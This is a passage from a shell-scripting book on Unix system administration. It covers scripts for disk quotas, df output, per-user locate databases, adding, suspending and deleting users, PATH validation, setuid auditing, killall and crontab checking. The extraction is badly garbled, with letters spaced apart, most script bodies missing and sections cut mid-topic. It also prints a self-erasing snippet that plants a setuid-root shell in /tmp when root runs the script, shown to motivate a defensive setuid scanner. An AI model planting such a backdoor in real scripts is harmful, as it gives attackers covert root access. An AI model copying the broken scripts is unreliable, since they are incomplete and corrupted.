By convention, uids 1 through 99 are for system daemons and administrative tasks, while 100 and above are for user
accounts. Unix administrators tend to be a fairly organized bunch, and this script takes advantage of that, skipping all
accounts that have a uid of less than 100.
The -xd e v argument to the find command ensures that f i n d doesn't go through all file systems, preventing it from
slogging through system areas, read-only source directories, removable devices, the / pr o c directory of running
processes (on Linux), and similar areas.
It may seem at first glance that this script outputs an exceeds disk quota message for each and every account, but the
a wk statement after the loop allows reporting of this message only for accounts with usage greater than the predefined
M AX DIS K USA GE .
Note You will likely have to modify the directories listed in the fi nd command to match the corresponding
directories in your own disk topography.
The Results
Because it's searching across file systems, it should be no surprise that this script takes rather a while to run. On a
large system it could easily take somewhere between a cup of tea and a lunch with your significant other. Here are the
results:
$ s udo fqu ot a
U se r l i nda e xce ed s di sk q uota. Dis k usa g e i s: 3 9 .7 M b yt e s
U se r t a ylo r exc ee ds d isk quota . Di s k us a g e is : 2 17 99 . 4 M by te s
You can see that ta yl or is way out of control with his disk usage! That's 21GB. Sheesh.
The Code
# !/ bin / sh
d on e | awk " \$2 > $MA XDIS KUSAG E { p r int \ $0 } " > $ vi o la t or s
D av e T a ylo r @ x 55 4
E OF
e cho "Ac co unt $ acco unt has $ u sag e MB o f d is k s pa ce . U s er n o ti fi e d. "
e xi t 0
How It Works
Note the addition of the fm t command in the email pipeline:
c at << EOF | fm t | ma il - s "Wa r nin g : $a c c ou nt E x ce ed s Q u ot a" $a cc o un t
It's a handy trick to improve the appearance of automatically generated email when fields of unknown length, like
$ ac cou n t, are embedded in the text. The logic of the f or loop in this script is slightly different from the logic of the
f or loop in Script #39, f qu ota. Because the output of the loop in this script is intended purely for the second part of
the script, during each cycle it simply reports the account name and disk usage rather than a disk quota exceeded
error message.
Running the Script
Like Script #39, this script has no starting arguments and should be run as r o ot for accurate results. This can most
safely be accomplished by using the s udo command.
The Results
$ s udo dis kh ogs
A cc oun t li nd a h as 39. 7 MB of d i sk s p ace . Us er n o ti fi e d.
A cc oun t ta yl or ha s 21 799. 5 MB o f d i s k s p a ce . Us e r no t if i ed .
If we now peek into the lin da account mailbox, we'll see that a message from the script has been delivered:
S ub jec t : W ar nin g: lin da E xceed s Qu o t a
D av e T a ylo r @ x 55 4
What would be much more useful is a version of df that summarizes the available capacity values in column four and
then presents the summary in a way that is easily understood. It's a task easily accomplished in a script.
The Code
# !/ bin / sh
d f -k | aw k -f $t empf ile
e xi t 0
The Results
On the same system on which the df output shown earlier was generated, the script reports the following:
$ d isk s pac e
9 61 99 M B ( 93 .94 GB ) of ava ilabl e di s k sp a c e
Another issue to consider is whether it's more useful to know about the available disk space on all devices, including
those partitions that cannot grow (like / boot), or whether reporting on user volumes is sufficient. If the latter is the
case, you can improve this script by making a call to gre p immediately after the df call. Use g re p with the desired
device names to include only particular devices, or use gre p -v followed by the unwanted device names to screen
out devices you don't want included.
#42 Improving the Readability of df Output
While Script #41 summarized df command output, the most important change we can make to d f is simply to improve
the readability of its output.
The Code
# !/ bin / sh
B EG IN {
p rin t f " %- 27s % 7s % 7s % 7s %8 s %- s \ n",
"F il esy st em", "Si ze", " Use d " , " A v ai l" , " Ca pa c it y ", " M ou nt e d"
}
! /F ile s yst em / {
d f -k | aw k -f $a wksc ript
e xi t 0
How It Works
Much of the work in this script takes place within an awk script, and it wouldn't be too much of a step to write the
entire script in a wk rather than in the shell, using the s y ste m ( ) function to call df directly. This script would be an
ideal candidate to rewrite in Perl, but that's outside the scope of this book.
There's also a trick in this script that comes from my early days of programming in BASIC, of all things:
p re tty m b=( in t(m b * 10 0)) / 100 ;
When working with arbitrary-precision numeric values, a quick way to limit the number of fractional digits is to multiply
the value by a power of 10, convert it to an integer (which drops the fractional portion), and then divide it back by the
same power of 10. In this case, a value like 7.085344324 is turned into the much more attractive 7.08.
Note Some versions of df have an -h flag that offers an output format similar to this script's output format.
However, as with many of the scripts in this book, this one will let you achieve friendly and more meaningful
output on every Unix or Linux system, regardless of what version of d f is present.
Running the Script
This script has no arguments and can be run by anyone, r o o t or otherwise. To eliminate reporting space usage on
devices that you aren't interested in, use gr ep -v after the call to df .
The Results
Regular df reports are difficult to understand:
$ df
F il esy s tem 5 12-bl o cks U s ed A va il Ca p ac it y Mo u nt ed on
/ de v/d i sk1 s9 7815 7 200 4 318 7 7 12 3 44 5 74 88 55 % /
d ev fs 196 1 96 0 1 00 % /d e v
f de sc 2 2 0 1 00 % /d e v
< vo lfs > 1 024 1 0 24 0 1 00 % /. v ol
/ de v/d i sk0 s9 23441 9 552 7 186 3 1 52 1 62 5 56 41 6 30 % / V ol um e s/ 11 0 GB
One way to solve this dilemma is to increase the data saved in the l oc at e database so that each entry has an
owner, group, and permissions string attached, but then the m k lo ca te d b database itself remains insecure unless the
l oc ate script is run as either a se tuid or s etg i d script, and that's something to be avoided at all cost.
A compromise is to have a separate loca te db for each user. But it's not quite that bad, because a personal
database is needed only for users who actually use the lo c a te command. Once invoked, the system creates a
. lo cat e db file in the user's home directory, and a c r on job can update existing .l oc a te db files nightly to keep
them in sync. The very first time someone runs the secure s l oca t e script, it outputs a message warning them that
they may see only matches for files that are publicly accessible. Starting the very next day (depending on the cr o n
schedule) the users get their personalized results.
The Code
Two scripts are necessary for a secure locate: the database builder, mk s lo ca t ed b , and the actual locate search
utility, sloca te:
# !/ bin / sh
i f [ " $ (gr ep '^ no body :' / etc/p a ssw d ) " = " " ] ; t he n
e cho "$0 : Err or : yo u mu st ha v e a n acc o u nt f or us er 'n o bo dy ' " >& 2
e cho "to c rea te the def ault s loc a t e d a t ab as e. " > &2 ; e x it 1
fi
e xi t 0
The slo c ate script itself is the user interface to the s l o cat e database:
# !/ bin / sh
# s loc a te - Tri es to sear ch th e us e r 's o w n se cu r e sl o ca t ed b d at ab a se f o r th e
# s p eci fi ed pa tter n. I f no d ata b a se e x is ts , o ut pu t s a w ar n in g a nd c r ea te s
# o n e. If pe rs onal slo cated b is e mpt y , u se s s ys te m o n e in s te ad .
How It Works
The mks l oca te db script revolves around the idea that the r oo t user can temporarily become another user ID by
using s u -fm us er , and so therefore can run f i n d on the file system of each user in order to create a user-
specific database of filenames. Working with the s u command proves tricky within this script, though, because by
default su not only wants to change the effective user ID but also wants to import the environment of the specified
account. The end result is odd and confusing error messages on just about any Unix unless the -m flag is specified,
which prevents the user environment from being imported. The -f flag is extra insurance, bypassing the .c sh r c file
for any c s h or tc sh users.
The other unusual notation in mks loca tedb is 2>/ d e v/n u l l, which routes all error messages directly to the
proverbial bit bucket: Anything redirected to /d e v /nu l l vanishes without a trace. It's an easy way to skip the
inevitable flood of permission denied error messages for each f i nd function invoked.
The same command run on a pretty full Mac OS X box, for comparison, produces the following:
# m ksl o cat ed b
b ui ldi n g d ef aul t sloc ate datab a se ( u ser = n ob od y )
. .. re s ult i s 2 40 160 line s lon g .
b ui ldi n g s lo cat e data base for u ser t ayl o r
. .. re s ult i s 2 63 862 line s lon g .
To search for a particular file or set of files that match a given pattern, let's first try it as user ti n ti n (who doesn't
have an . s loc at edb file):
t in tin $ s lo cat e Tayl or-S elf-A s ses s . doc
W ar nin g : u si ng pu blic dat abase . Us e "sl o c at e -- e xp la i n" fo r d et ai l s.
$
Now we'll enter the same command but as user ta y l or (who owns the file being sought):
t ay lor $ s lo cat e Tayl or-S elf-A s ses s . doc
/ Us ers / tay lo r/D oc umen ts/M erric k /Ta y l or- S e lf -A ss e ss .d o c
Another technique aimed at saving space would be to build the individual .s l oc a te db files with references only to
files that have been accessed since the last update. This would work better if the m ks l oc at e db script was run
weekly rather than daily; otherwise each Monday all users would be back to ground zero because they're unlikely to
have run the sl oca te command over the weekend.
Finally, another easy way to save space would be to keep the .s l oc a te db files compressed and uncompress them
on the fly when they are searched with s loca t e . See the z g r ep command in Script #37 for inspiration regarding
how this technique might be utilized.
#44 Adding Users to the System
If you're responsible for managing a network of Unix or Linux systems, you've already experienced the frustration
caused by subtle incompatibilities among the different operating systems in your dominion. Some of the most basic
administration tasks prove to be the most incompatible across different flavors of Unix, and chief among these tasks is
user account management. Rather than have a single command-line interface that is 100 percent consistent across all
Unix flavors, each vendor has developed its own graphical interface for working with the peculiarities and quirks of its
own Unix.
The Simple Network Management Protocol (SNMP) was, ostensibly, supposed to help normalize this sort of thing, but
managing user accounts is just as difficult now as it was a decade ago, particularly in a heterogeneous computing
environment. As a result, a very helpful set of scripts for a system administrator includes a version of a d du se r ,
d el ete u ser , and su sp endu ser that can be customized for your specific needs and then easily ported to all your
Unix systems.
Mac OS X is the odd OS out! Mac OS X is an exception to this rule, with its reliance on an
account database called NetInfo. Versions of these tools for
Mac OS X are presented in Chapter 11.
On a Unix system, an account is created by adding a unique entry to the /e tc / pa s sw d file, an entry consisting of
a one-to eight-character account name, a unique user ID, a group ID, a home directory, and a login shell for that user.
Modern Unix systems store the encrypted password value in / etc / sh a do w, so an entry must be added to that file
too, and finally the account needs to be listed in the / e tc/ g r ou p file, with the user either as his or her own group (a
more recent strategy implemented in this script) or as part of an existing group.
The Code
# !/ bin / sh
e xi t 0
How It Works
The coolest single line in this script contains the snippet
a wk -F : '{ i f ( bi g < $3 & & $3 < 50 0 0 ) b i g =$ 3 } E ND { pr i nt b i g + 1 } ' $ pw fi l e
This scans through the /e tc /pas swd file, ascertaining the largest user ID currently in use that's less than the
highest allowable user account value (adjust this for your configuration preferences) and then adding 1 to it for the new
account user ID. This saves the admin from having to remember what the next available ID is, and it also offers a high
degree of consistency in account information as the user community evolves and changes.
Once the account is created, the new home directory is created and the contents of the / et c /s ke l directory are
copied to the home directory. By convention, the / e tc/ s k el directory is where a master .c s hr c, . lo g in ,
. ba shr c , and .p rof il e are kept, and on sites where there's a web server offering ~ ac c ou nt service, a
directory like /e tc /sk el /pub lic_ html would also be copied across to the new home directory, alleviating
many "Where do I create my new website?" questions.
The Results
Because my system already has an account named t i nti n , it's helpful to ensure that s no wy has his own account
too: [1 ]
$ s udo add us er
A dd ne w us er ac co unt to a urora
l og in: sno wy
f ul l n a me: S now y the Dog
s he ll: /bi n/ bas h
S et tin g up a cco un t sn owy for S n owy t he D o g. ..
C ha ngi n g p as swo rd for use r sno w y.
N ew pa s swo rd :
R et ype new p ass wo rd:
p as swd : al l aut he ntic atio n tok e ns u p dat e d s uc ce s sf ul l y.
[1 ] Wondering what on earth I'm talking about here? It's The Adventures of Tintin, by Herg, a wonderful series of
illustrated adventures from the middle of the 20th century. See ht t p: / /w ww . ti n ti n. c om /
#45 Suspending a User Account
Whether a user is being escorted off the premises by security for industrial espionage, a student is taking the summer
off, or a contractor is going on hiatus, there are many times when it's useful to disable an account without actually
deleting it from the system.
This can be done simply by changing the user's password to a new value that he or she isn't told, but if the user is
logged in at the time, it's also important to log him or her out and shut off access to that home directory from other
accounts on the system. When an account is suspended, odds are very good that the user needs to be off the system
now, not when he or she feels like it.
Much of this script revolves around ascertaining whether the user is logged in, notifying the user that he or she is being
logged off, and kicking the user off the system.
The Code
# !/ bin / sh
i f [ - z $1 ] ; th en
e cho "Us ag e: $0 acc ount " >&2 ; e x i t 1
e li f [ "$( wh oam i) " != "ro ot" ] ; t h e n
e cho "Er ro r. Yo u mu st b e 'ro o t' t o ru n th is c o mm an d ." >& 2; ex it 1
fi
s lee p $s ec s
j obs = $(p s -u $1 | c ut - d\ -f 1 )
k ill -s HU P $ jo bs # s e nd h an g up s i g t o th e ir p r oc es s es
s lee p 1 # g i ve i t a s ec o nd . ..
k ill -s KI LL $j obs > /d ev/nu l l 2 > 1 # a n d ki ll an yt h in g l ef t
e xi t 0
How It Works
This script is straightforward, changing the user's password to an unknown (to the user) value and then shutting off the
user's home directory. If he or she is logged in, we give a few seconds' warning and then log the user out by killing all
of his or her running processes.
Notice the sequence of sending a SI GHUP (H UP) to each running process, a hang-up signal, and then after a second
sending the more aggressive SIGK ILL (KIL L ) . The SI G H UP signal often, but not always, quits running
applications, but it won't kill a login shell. SIGK I LL, however, cannot be ignored or blocked by any running Unix
program, so it's guaranteed 100 percent effective, though it doesn't give the application any time to clean up temp files,
flush file buffers to ensure that changes are written to disk, and so forth.
Unsuspending a user is a simple two-step process of opening his or her home directory back up (with c hm od 70 0)
and resetting the password to a known value (with p ass w d ).
The Results
It turns out that Snowy has already been abusing his account. Let's suspend him:
$ s udo sus pe ndu se r sn owy
P le ase cha ng e a cc ount sno wy pa s swo r d to s om et hi n g ne w .
C ha ngi n g p as swo rd for use r sno w y.
N ew pa s swo rd :
R et ype new p ass wo rd:
p as swd : al l aut he ntic atio n tok e ns u p dat e d s uc ce s sf ul l y.
( Wa rne d sn ow y, no w sl eepi ng 10 sec o n ds)
s no wy w as lo gge d in. Just logg e d t h e m o u t .
A cc oun t sn ow y h as bee n su spend e d.
Snowy was logged in at the time, and here's what he saw on his screen just seconds before he was kicked off the
system:
* ** *** * *** ** *** ** **** **** ***** * *** * * *** * * ** ** ** * ** ** * ** * ** ** *
U RG ENT NOT IC E F RO M TH E AD MINIS T RAT O R :
The Code
# !/ bin / sh
i f [ - z $1 ] ; th en
e cho "Us ag e: $0 acc ount " >&2 ; ex i t 1
e li f [ "$( wh oam i) " != "ro ot" ] ; t h e n
e cho "Er ro r: yo u mu st b e 'ro o t' t o ru n th is c o mm an d ." > &2 ; e xi t 1
fi
i f [ - z $u id ] ; then
ec ho " Err or : n o acco unt $1 fo u nd i n $p w f il e" > & 2; e x it 1
fi
c hm od 6 44 $p wfi le
c hm od 4 00 $s had ow
e ch o " "
e ch o " A cco un t $ 1 (uid $ui d) ha s be e n de l e te d, a n d th e ir ho me di re c to ry "
e ch o " ( $ho me dir /$ 1) h as b een r e mov e d ."
e xi t 0
How It Works
To avoid any problems with things changing underfoot, notice that the very first task that de le t eu se r performs is to
suspend the user account by calling su spend u ser .
Before modifying the password file, this script locks it using the l oc kf il e program, if it's available. If not, it drops
back to a relatively primitive locking mechanism through the creation of the file / e tc /p a ss wd . lo ck . If the lock file
already exists, this script will sit and wait for it to be deleted by another program; once it's gone, d el et e us er
immediately creates it and proceeds.
Danger! Notice that this script is irreversible and causes lots of files to vanish, so do be careful if you want
to experiment with it!
The Results
$ s udo del et eus er sno wy
P le ase cha ng e a cc ount sno wy pa s swo r d to s om et hi n g ne w .
C ha ngi n g p as swo rd for use r sno w y.
N ew pa s swo rd :
R et ype new p ass wo rd:
p as swd : al l aut he ntic atio n tok e ns u p dat e d s uc ce s sf ul l y.
A cc oun t sn ow y h as bee n su spend e d.
F il es s til l lef t to r emov e (if any ) :
/ var / log /d ogb on e.av i
A cc oun t sn ow y ( ui d 50 2) h as be e n d e l ete d , a nd t h ei r h om e d ir e ct or y
( /h ome / sno wy ) h as bee n re moved .
That sneaky Snowy had hidden an AVI file (d og b o ne. a v i) in /v ar /l o g. Lucky we noticed that who knows
what it could be?
A sophisticated solution to this problem is first to check the P A T H to ensure that it includes only valid directories on the
system, and then to check each of the key helper application settings to ensure that they're either indicating a fully
qualified file that exists or that they are specifying a binary that's in the PA TH .
The Code
# !/ bin / sh
# v ali d ato r - C he cks to e nsure tha t the P AT H co n ta in s o n ly v a li d d ir ec t or ie s ,
# th e n c he cks t hat all envir o nme n t va r i ab le s a re v a li d .
# Lo o ks at SH EL L, H OME, PATH , ED I T OR, M AI L, a n d PA G ER .
e rr ors = 0
i n_ pat h ()
{
# Gi v en a com ma nd a nd t he PA T H, t r y t o fi nd t h e co m ma n d. R e tu rn s
# 1 i f f ou nd, 0 if not. Not e th a t th i s t em po r ar il y m o di fi e s th e
# IF S in pu t f ie ld s epar ator b ut r e sto r e s it u p on c o mp l et io n .
c md= $ 1 pat h= $2 re tval= 0
v al ida t e()
{
v arn a me= $1 v arva lue= $2
f or di r ect or y i n $PAT H
do
i f [ ! - d $di re ctor y ] ; the n
e cho " ** PA TH c onta ins i n val i d di r e ct or y $ di re c to r y"
e rro rs =$( ( $err ors + 1 ) )
fi
d on e
i f [ $ e rro rs -g t 0 ] ; th en
e cho "Er ro rs en coun tere d. Pl e ase n oti f y s ys ad m in f o r h el p. "
e ls e
e cho "Yo ur en vi ronm ent check s ou t fin e . "
fi
e xi t 0
How It Works
The tests performed by this script aren't overly complex. To check that all the directories in P AT H are valid, the code
steps through each directory to ensure that it exists. Notice that the internal field separator (IFS) had to be changed to
a colon so that the script would properly step through all of the P A TH directories. By convention, the PA T H variable
uses a colon to separate each of its directories, as shown here:
$ e cho $PA TH
/ bi n/: / sbi n: /us r/ bin: /sw/ bin:/ u sr/ X 1 1R6 / b in :/ us r /l oc a l/ m yb in
To validate that the environment variable values are valid, the val i da t e( ) function first checks to see if each value
begins with a /. If it does, the function checks to see if the variable is an executable. If it doesn't begin with a /, the
script calls the i n_ pat h( ) function to see if the program is found in one of the directories in the current P AT H .
The most unusual aspects of this script are its use of default values within some of the conditionals and its use of
variable slicing. Its use of default values in the conditionals is exemplified by the following:
i f [ ! -x ${ SHE LL :?"C anno t pro c eed w ith o u t SH EL L b ei n g d ef in e d. "} ] ; t he n
The notation ${ var na me: ?" erro rMes sa ge " } can be read as if varname exists, substitute its value; otherwise,
fail with the error errorMessage.
The variable slicing notation, ${ varv alue% $ {va r v alu e # ?} }, is the POSIX sub-string function, producing only
the first character of the variable v arva lue. In this script, it's used to ascertain whether an environment variable has
a fully qualified filename (one starting with / and specifying the path to the binary).
If your version of Unix/Linux doesn't support either of these notations, they can be replaced in a straightforward
fashion. For example, instead of ${S HELL: ? No S h ell } you could substitute
i f [ - z $S HE LL ] ; th en
e cho "No S hel l" >&2 ; ex it 1
fi
And instead of {va rv alu e% ${va rval ue #? } } , you could use the following code to accomplish the same result:
$ (e cho $va rv alu e | cu t -c 1)
The Results
$ v ali d ato r
* * PAT H co nt ain s inva lid direc t ory / usr / l oc al /m y bi n
* * MAI L ER se t t o /usr /loc al/bi n /el m , bu t I ca nn o t fi n d e xe cu t ab le .
E rr ors enc ou nte re d. P leas e not i fy s y sad m i n fo r h el p.
#48 Cleaning Up After Guests Leave
Although many sites disable the guest user for security reasons, others do have a guest account (often with a trivially
guessable password) to allow people from other departments to access the network. It's a useful account, but there's
one big problem: With multiple people sharing the same account, it's not uncommon for someone to experiment with
commands, edit .r c files, add subdirectories, and so forth, thereby leaving things messed up for the next user.
This script addresses the problem by cleaning up the account space each time a user logs out from the guest account,
deleting any files or subdirectories created, removing all dot files, and then rebuilding the official account files, copies of
which are stored in a read-only archive tucked into the guest account in the .. t em pl a te directory.
The Code
# !/ bin / sh
i am =$( w hoa mi )
m yh ome = "$( gr ep "^ ${ia m}:" /etc / pas s w d | c ut - d: -f 6) "
c d $my h ome
How It Works
For this script to work correctly, you'll want to create a master set of template files and directories within the guest
home directory, tucked into a new directory called . .te m p lat e . Change the permissions of the . . te mp l at e
directory to read-only, and then within .. temp l a te ensure that all the files and directories have the proper
ownership and permissions for user gue st.
However, because some guest users might be savvy enough to tinker with the . l og ou t script, it would be worthwhile
to invoke the fi xg ues t script from cron too. Just make sure no one's logged in to the account when it runs!
The Results
There are no visible results to running this program, except that the guest home directory will be restored to mirror the
layout and files in the ..t em plat e directory.
Chapter 6: System Administration: System Maintenance
The most common use of shell scripts is to help with Unix or Linux system administration. There's an obvious reason
for this, of course: Administrators are often the most knowledgeable Unix users on the system, and they also are
responsible for ensuring that things run smoothly and without a glitch. But there might be an additional reason for the
emphasis on shell scripts within the system administration world. My theory? That system administrators and other
power users are the people most likely to be having fun with their system, and shell scripts are quite fun to develop
within the Unix environment!
And with that, let's continue exploring how shell scripts can help you with system administration tasks.
In a shell script, for example, adding a few lines of code can create a s e tu id shell for the bad guy once the code is
invoked by the unsuspecting roo t user:
i f [ " $ {US ER :-$ LO GNAM E}" = "ro o t" ] ; t h e n # RE M OV EM E
c p / b in/ sh /t mp /.ro otsh ell # RE M OV EM E
c how n ro ot /t mp /.ro otsh ell # RE M OV EM E
c hmo d -f 4 777 / tmp/ .roo tshel l # RE M OV EM E
g rep -v "# RE MO VEME " $0 > /t m p/j u n k # RE M OV EM E
m v / t mp/ ju nk $ 0 # R EM O VE ME
fi # RE M OV EM E
Once this script is run by ro ot , a shell is surreptitiously copied into / t mp as . r oo t sh el l and is made s et ui d
r oo t for the cracker to exploit at will. Then the script causes itself to be rewritten to remove the conditional code
(hence the # RE MO VEM E at the end of each line), leaving essentially no trace of what the cracker did.
The code snippet just shown would also be exploitable in any script or command that runs with an effective user ID of
r oo t; hence the critical need to ensure that you know and approve of all s et u id r o ot commands on your
system. Of course, you should never have scripts with any sort of se t ui d or s e tg i d permission for just this reason,
but it's still smart to keep an eye on things.
The Code
# !/ bin / sh
e xi t 0
How It Works
This script checks all s et uid commands on the system to see if they're group-or world-writable and whether they've
been modified in the last $mt ime days.
The Results
I've dropped a "hacked" script somewhere in the system. Let's see if fi nd s ui d can find it:
$ f ind s uid
* ** * / v ar/ tm p/. sn eaky /edi tme ( w rit e a ble a nd s et u id r o ot )
There it is!
$ l s - l /v ar /tm p/ .sne aky/ editm e
- rw srw x rwx 1 r oo t w heel 259 8 8 J u l 13 1 1: 50 / v ar /t m p/ . sn ea k y/ ed i tm e
Trying to figure out all the square brackets can be baffling, without even talking about what you do or don't need to
specify. Instead, a shell script that prompts for each relevant field and then builds the compressed date string is a sure
sanity saver.
The Code
# !/ bin / sh
# s etd a te - Fri en dly fron t end to t h e d a t e co mm a nd .
# D ate wan ts : [ [[ [[cc ]yy] mm]dd ] hh] m m [.s s ]
a sk val u e()
{
# $1 = f ie ld na me, $2 = defa u lt v a lue , $3 = m a x va l ue ,
# $4 = r eq uir ed cha r/di git l e ngt h
e xi t 0
How It Works
To make this script as succinct as possible, I use the following e va l function to accomplish two things.
e va l $ ( dat e "+n ye ar=% Y nm on=%m nda y = %d n h r= %H n m in =% M ")
First, this line sets the current date and time values, using a da t e format string, and second, it sets the values of the
variables nye ar , nm on, nday , nh r, and nm in , which are then used in the simple a sk v al ue ( ) function to
prompt for and test values entered. Using the e v al function to assign values to the variables also sidesteps any
potential problem of the date rolling over or otherwise changing between separate invocations of the a sk v al ue ( )
function, which would leave the script with inconsistent data. For example, if a sk v al ue got month and day values at
23:59.59 and then hour and minute values at 0:00:02, the system date would actually be set back in time 24 hours, not
at all the desired result.
This is one of various problems in working with the d a te command that can be subtle but problematic. With this script,
if you specify the exact time during the prompts but you then have to enter a s ud o password, you could end up setting
the system time to a few seconds in the past. It's probably not a problem, but this is one reason why network-
connected systems should be working with Network Time Protocol (NTP) utilities to synchronize their system against
an official time-keeping server.
Learn more about network time You can start down the path of network time synchronization
by reading up on ti m ed ( 8) on your system.
The Results
$ s et- d ate
y ea r [ 2 003 ] :
m on th [ 07] :
d ay [0 8 ] :
h ou r [ 1 6] :
m in ute [53 ] : 4 8
S et tin g da te to 2 0030 7081 648. Y ou m i ght n ee d to en te r y o ur s u do p a ss wo r d:
p as swd :
$
#51 Displaying Which Services Are Enabled
The first generation of Unix systems had a variety of system daemons, each of which listened to a specific port and
responded to queries for a specific protocol. If you had a half-dozen services, you'd have a half-dozen daemons
running. As Unix capabilities expanded, however, this wasn't a sustainable model, and an berdaemon called i ne t d
was developed. The ine td service can listen to a wide range of different channels simultaneously, launching the
appropriate daemon to handle each request as needed. Instead of having dozens of daemons running, it has only one,
which spawns service-specific daemons as needed. In more recent years, a new, more sophisticated successor of
i ne td has become popular, called xine td .
While the original i net d service has a single configuration file (/e t c/ i ne t d. c on f) that a sysadmin can easily
scan to discover which services are on and which are off, xi n e td works with a directory of configuration files, one
per service. This makes it quite difficult to ascertain which services are on and which are off, unless a script is utilized.
A typical x ine td configuration file looks like this:
$ c at / etc /x ine td .d/f tp
s er vic e ft p
{
di sa ble = yes
so ck et_ ty pe = stre a m
wa it = no
us er = root
se rv er = /usr / lib e x ec/ f t pd
se rv er_ ar gs = -l
gr ou ps = yes
fl ag s = REUS E
}
The most important line in this configuration file contains the value of d is ab l e. If it's set to ye s, the service is not
enabled on the system, and if it's set to no , the service is available and configured as indicated in the file.
This particular script checks for the configuration files of both i n et d and xi ne t d and then displays all of the
services that are enabled for the daemon that exists. This script also uses the p s command to check whether one of
the daemons is in fact running.
The Code
# !/ bin / sh
i f [ - r $i co nf ] ; th en
e cho "Se rv ice s enab led in $i c onf a re: "
g rep -v '^ #' $i conf | a wk '{ p rin t " " $1 }'
e cho ""
i f [ "$( ps -a ux | g rep inetd | e g r ep - v E '( xi n et |g r ep ) ') " = " " ] ; t h en
ec h o " ** wa rn ing: ine td do e s n o t ap p e ar t o b e ru n ni n g"
fi
fi
i f [ - r $x co nf ] ; th en
# Do n 't ne ed to loo k in xini e td. c o nf, j us t kn o w it ex i st s
e cho "Se rv ice s enab led in $x d ir a r e:"
e xi t 0
How It Works
Examination of the script will show that the fo r loop in the second section makes it easy to step through x i ne td
configuration files to see which have d isabl e set to no . Any of those must therefore be enabled and are worth
reporting to the user.
The Results
$ e nab l ed
S er vic e s e na ble d in / etc/ xinet d .d a r e:
e cho
r syn c
s gi_ f am
t ime
To sidestep security problems and other errors, you could also refine the script by having it check the permissions and
existence of all server binaries.
#52 Killing Processes by Name
Linux and some Unixes have a very helpful command called k i l l a l l , which allows you to kill all running applications
that match a specified pattern. It can be quite helpful when you want to kill nine m i n g e t t y daemons, or even just to
send a SI GHU P signal to xi n etd to prompt it to reread its configuration file. Systems that don't have k i l l a l l can
emulate it in a shell script, built around ps for identification of matching processes and k i l l to send the specified
signal.
The tricky part of the script is that the output format from p s varies significantly from OS to OS. For example, consider
how differently Mac OS X and Red Hat Linux show running processes in the default p s output:
O S X $ ps
P I D T T S TAT TIME CO M M A N D
4 8 5 st d S 0: 0 0.86 -b a s h ( b a s h )
581 p2 S 0: 0 0.01 -b a s h ( b a s h )
RHL9 $ ps
P I D TT Y T I ME C MD
8 0 6 5 pt s/4 0 0:00 : 00 b ash
1 2 6 1 9 pt s/4 0 0:00 : 00 p s
Worse, rather than model its p s command after a typical Unix command, the GNU p s command accepts BSD-style
flags, SYSV-style flags, and GNU-style flags. A complete mishmash!
Fortunately, some of these inconsistencies can be sidestepped in this particular script by using the - c u flag, which
produces consistent output that includes the owner of the process, the command name (as opposed to - b a s h
( b a s h) , as in the default Mac OS X output just shown), and the process ID, the lattermost of which is what we're
really interested in identifying.
The Code
# ! / b in /s h
s h i f t $( ( $ O PTIN D - 1 ))
i f [ $ # -eq 0 ] ; the n
e c ho " Usa g e: $ 0 [-s sign al] [ - u u s e r | - t t t y ] [ - n ] p a t t e r n " > & 2
e x it 1
fi
i f [ - z "$p i ds" ] ; t h en
e c ho " $0: no p r oces s es m atc h p a t t e r n $ 1 " > & 2 ; e x i t 1
fi
f o r pi d in $ pids
do
# Se nd ing sign a l $s i gnal to p r o c e s s i d $ p i d : k i l l m i g h t
# st il l c o mpla i n if the pro c e s s h a s f i n i s h e d , t h e u s e r d o e s n ' t
# ha ve pe r miss i on, e tc., bu t t h a t ' s o k a y .
i f [ $ don o thin g -eq 1 ] ; t h e n
ec ho "k i ll $ s igna l $pi d"
e l se
ki ll $s i gnal $pid
fi
done
exit 0
How It Works
Because this script is so aggressive, I've put some effort into minimizing false pattern matches, so that a pattern like
s h won't match output from ps that contains b a s h or v i c r a s h t e s t . c , or other values that embed the pattern.
This is done by the pattern-match prefix on the a w k command:
a w k "/ $ 1$/ { pr i nt \ $ 2 }"
Left-rooting the specified pattern, $1 , with a leading space and right-rooting the pattern with a trailing $ , causes the
script to search for the specified pattern ' sh ' in p s output as ' s h $ ' .
The Results
To kill all the c smou n t processes on my Mac OS X system, I can now use the following:
$ . / ki ll all -n c s moun t
k i l l - IN T 1 2 92
k i l l - IN T 1 2 96
k i l l - IN T 1 3 06
k i l l - IN T 1 3 10
k i l l - IN T 1 3 18
If you're motivated, you could also write a script based heavily on the k i l l a l l script that would let you r e n i c e
jobs by name, rather than just by process ID. The only change required would be to invoke r e n i c e rather than
kill.
#53 Validating User crontab Entries
One of the most helpful facilities in Unix is cro n , with its ability to schedule jobs at arbitrary times in the future,
recurring every minute, every few hours, monthly, or annually. Every good system administrator has a Swiss army knife
of scripts running from the cr ontab file.
However, the format for entering c ron specifications is a bit tricky, and the cr o n fields have numeric values, ranges,
sets, and even mnemonic names for days of the week or months. What's worse is that the c r on ta b program
generates insufficient error messages when scanning in a cr o n file that might be incorrectly structured.
For example, specify a day of the week with a typo, and cro n t ab reports
" /t mp/ c ron ta b.D j7 Tr4v w6R" :9: b a d d a y -of - w ee k
c ro nta b : e rr ors i n cr onta b fil e , c a n 't i n st al l
In fact, there's a second error in the sample input file, on line 12, but c ro n ta b is going to force us to take the long
way around to find it in the script because of its poor error-checking code.
Instead of doing it cro nt ab's way, a somewhat lengthy shell script can step through the c r on ta b files, checking the
syntax and ensuring that values are within reasonable ranges. One of the reasons that this validation is possible in a
shell script is that sets and ranges can be treated as individual values. So to test whether 3 1 1 or 4, 6, 9 are
acceptable values for a field, simply test 3 and 11 in the former case, and 4, 6, and 9 in the latter.
The Code
# !/ bin / sh
v al idN u m()
{
# Re t urn 0 if v alid , 1 if no t . S p e cif y nu mb er an d m ax v al ue as a r gs
n um= $ 1 m ax= $2
v al idD a y()
{
# Re t urn 0 if a val id d aynam e , 1 o the r w is e
v al idM o n()
{
# Re t urn 0 if a val id m onth n ame , 1 o t h er wi se
cas e $( ec ho $1 | t r '[ :uppe r :]' ' [:l o w er :] ') in
j a n*| fe b*| ma r*|a pr*| may|j u n*| j u l*| a u g* ) re t ur n 0 ;;
s e p*| oc t*| no v*|d ec*) re t ur n 0 ;;
X ) re tu rn 0 ;; # spe cial c ase , it' s an " *"
* ) re tu rn 1 ;;
esa c
}
f ix var s ()
{
# Tr a nsl at e a ll '*' int o 'X' to b y pas s sh el l e xp an s io n h as s le s
# Sa v e o ri gin al inp ut a s "so u rce l i ne" f or e rr o r me s sa g es
